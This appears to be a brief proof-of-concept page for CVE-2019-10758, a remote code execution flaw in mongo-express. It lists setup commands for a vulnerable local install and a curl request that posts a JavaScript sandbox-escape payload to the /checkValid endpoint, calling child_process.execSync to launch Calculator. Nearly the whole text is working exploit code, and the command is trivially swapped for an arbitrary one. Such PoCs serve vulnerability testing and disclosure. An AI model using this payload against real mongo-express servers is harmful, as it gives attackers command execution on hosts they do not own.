CVE-2019-10758

CVE-2019-10758 PoC 设置 docker run -p 27017:27017 -d mongo npm install [email protected] cd node_modules/mongo-express/ && node app.js cURL利用 curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")' 脚本